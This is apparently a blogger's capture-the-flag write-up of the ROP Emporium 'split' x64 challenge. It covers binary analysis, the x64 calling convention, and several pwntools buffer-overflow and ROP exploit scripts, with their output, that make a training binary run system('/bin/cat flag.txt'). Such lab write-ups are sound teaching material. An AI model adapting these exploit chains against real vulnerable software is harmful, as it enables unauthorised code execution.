Rop Emporium split x64 Writeup
Welcome to the second challenge from Rop Emporium. You can read how to solve challenge one here.
Download the binary and unzip it.
Yep, it’s another unstripped x64 ELF.
$ file split
split: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=98755e64e1d0c1bff48fccae1dca9ee9e3c609e2, not stripped
Confirm that NX is enabled. Meaning we must do ROP.
$ checksec split
[*] '/home/kali/ropemporium/_split/split'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
The challenge page tells us that we need to find the string “/bin/cat flag” and system() inside the binary. We likely will need to add their addresses on the stack for our rop exploit to work. It also tells us to keep in mind that x64 has a diff calling convention than x86.
Find the address of useful strings:
$ rabin2 -z split
[Strings]
nth paddr vaddr len size section type string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x000007e8 0x004007e8 21 22 .rodata ascii split by ROP Emporium
1 0x000007fe 0x004007fe 7 8 .rodata ascii x86_64\n
2 0x00000806 0x00400806 8 9 .rodata ascii \nExiting
3 0x00000810 0x00400810 43 44 .rodata ascii Contriving a reason to ask user for data...
4 0x0000083f 0x0040083f 10 11 .rodata ascii Thank you!
5 0x0000084a 0x0040084a 7 8 .rodata ascii /bin/ls
0 0x00001060 0x00601060 17 18 .data ascii /bin/cat flag.txt
We see the address for “/bin/cat flag.txt” is located at 0x00601060
within the data section. Note that the programmer’s code (i.e. main) is in the text section.
Look for useful functions:
$ rabin2 -qs split | grep -ve imp -e ' 0 '
0x00601078 8 stdout
0x00601080 1 completed.7698
0x004006e8 90 pwnme
0x00400742 17 usefulFunction
0x004007d0 2 __libc_csu_fini
0x00601078 8 stdout@@GLIBC_2.2.5
0x004007e0 4 _IO_stdin_used
0x00601060 18 usefulString
0x00400760 101 __libc_csu_init
0x004005e0 2 _dl_relocate_static_pie
0x004005b0 43 _start
0x00400697 81 main
The pwnme
, usefulFunction
and usefulString
functions all seem relevant.
That’s enough static analysis for now. Time to run the program:
$ python -c "print('Z' * 100)" | ./split
split by ROP Emporium
x86_64
Contriving a reason to ask user for data...
> Thank you!
Segmentation fault
Let’s analyze this in GDB
Debugging
Disassemble the main function. Just like in the first challenge, it calls a few puts() and calls pwnme. Let’s focus our attention on the vulnerable pwnme function.
disass pwnme
We see that this function allocates a buffer of 32 bytes (rbp-0x20
) and the read function reads in up to 96 (0x60) bytes.
Set a breakpoint at pwnme and then run info files
to see the address space for data and text sections (the below output has been trimmed for readability)
Entry point: 0x4005b0
0x00000000004005b0 - 0x00000000004007d2 is .text
0x00000000004007e0 - 0x0000000000400852 is .rodata
0x0000000000601050 - 0x0000000000601072 is .data
0x0000000000601078 - 0x0000000000601088 is .bss
Cool. Let’s disassemble the usefulFunction symbol that we saw in the text section earlier
gef➤ disass usefulFunction
Dump of assembler code for function usefulFunction:
0x0000000000400742 <+0>: push rbp
0x0000000000400743 <+1>: mov rbp,rsp
0x0000000000400746 <+4>: mov edi,0x40084a
0x000000000040074b <+9>: call 0x400560 <system@plt>
0x0000000000400750 <+14>: nop
0x0000000000400751 <+15>: pop rbp
0x0000000000400752 <+16>: ret
End of assembler dump.
gef➤ x/s 0x40084a
0x40084a: "/bin/ls"
Ok, much like the ret2win function from the first challenge, this calls system with the parameter being stored in edi. We print out efi and see that it stores “/bin/ls”. We will want this to be the address of usefulString ("/bin/cat flag.txt") stored at address 0x00601060
Test exploit
Let’s do a test exploit to return into the usefulFunction
. Reuse the code from challenge one
#!/usr/bin/env python
from pwn import *
io = process("./split")
payload = b"A" * 32 # 32 byte buffer
payload += p64(0x400752) # addr of ret for stack alignment
payload += p64(0x400742) # addr of usefulFunction()
io.sendline(payload)
print(io.recvall().decode())
Hmmm idk why files are not listed out from the call to /bin/sh. I confirmed it takes 40 bytes to get to the rip
$ python exploit.py
[+] Starting program './split': Done
[+] Recieving all data: Done (87B)
[*] Stopped program './split'
split by ROP Emporium
x86_64
Contriving a reason to ask user for data...
> Thank you!
Use the other method for stack alignment and go deeper in the usefulFunction and it works!
#!/usr/bin/env python
from pwn import *
io = process("./split")
payload = b"A" * 40 # 32 byte buffer + 8 byte base pointer (rbp)
payload += p64(0x400746) # go deeper in the usefulFunction
io.sendline(payload)
print(io.recvall().decode())
We are able to call the function
$ python exploit2.py
[+] Starting program './split': Done
[+] Recieving all data: Done (134B)
[*] Program './split' stopped with exit code 0
split by ROP Emporium
x86_64
Contriving a reason to ask user for data...
> Thank you!
core exploit2.py exploit.py flag.txt split
Sweet baby! Now we need to load the address of usefulString
. Time to research x64 calling conventions
x64 Calling Conventions
Ref: https://en.wikipedia.org/wiki/X86_calling_conventions
x86-64 calling conventions take advantage of the added register space to pass more arguments in registers. Also, the number of incompatible calling conventions has been reduced. There are two in common use.
- Microsoft x64 calling convention (used on Windows)
- System V AMD64 ABI (followed on Linux, Solaris, FreeBSD, macOS)
System V AMD64 ABI
Here is a diagram of the x64 calling convention from Eli Bendersky’s blog:
We see that the first argument, a, is stored in register RDI.
So we will need to set the register RDI/EDI to the address of usefulString
and then call system. I think we will need to write usefulString
address onto the stack, find a pop rdi or pop edi gadget, and then call the system function within usefulFunction
.
Here is the exploit so far. It does not generate a segfault.
#!/usr/bin/env python
from pwn import *
io = gdb.debug("./split")
payload = b"A" * 32 # junk for buffer
payload += p64(0x400752) # ret
payload += p64(0x00601060) # addr of usefulString ("/bin/cat flag.txt")
payload += p64(0x40074b) # addr of system
io.sendline(payload)
print(io.recvall().decode())
$rsp : 0x00007ffd8cd3f7f8 → 0x0000000000601060 → "/bin/cat flag.txt"
Our target is on the top of the stack. I think I need to swap the ret instruction with pop rdi; ret
. Time to look for a rop gadget within pwntools
# Create a ROP object
elf = ELF("./split")
rop = ROP(elf)
# rop.rdi.address = Gadget(0x4007c3, ['pop rdi', 'ret'], ['rdi'], 0x10)
pop_rdi = rop.rdi.address
Final Exploit
For the final exploit, I had to increase the padding to 40 bytes of junk to fill the buffer and rbp.
#!/usr/bin/env python
from pwn import *
context.log_level = 'warn'
# Load binary
prog = process("./split")
# Create a ROP object
elf = ELF("./split")
rop = ROP(elf)
# rop.rdi.address = Gadget(0x4007c3, ['pop rdi', 'ret'], ['rdi'], 0x10)
pop_rdi = rop.rdi.address
bin_cat = 0x00601060
system = 0x40074b
payload = b"A" * 40
payload += p64(pop_rdi)
payload += p64(bin_cat)
payload += p64(system)
prog.recvuntil(">")
prog.sendline(payload)
print(prog.clean().decode())
Run to get the flag:
$ python exploit.py
Thank you!
ROPE{a_placeholder_32byte_flag!}
split by ROP Emporium
x86_64
Contriving a reason to ask user for data...
>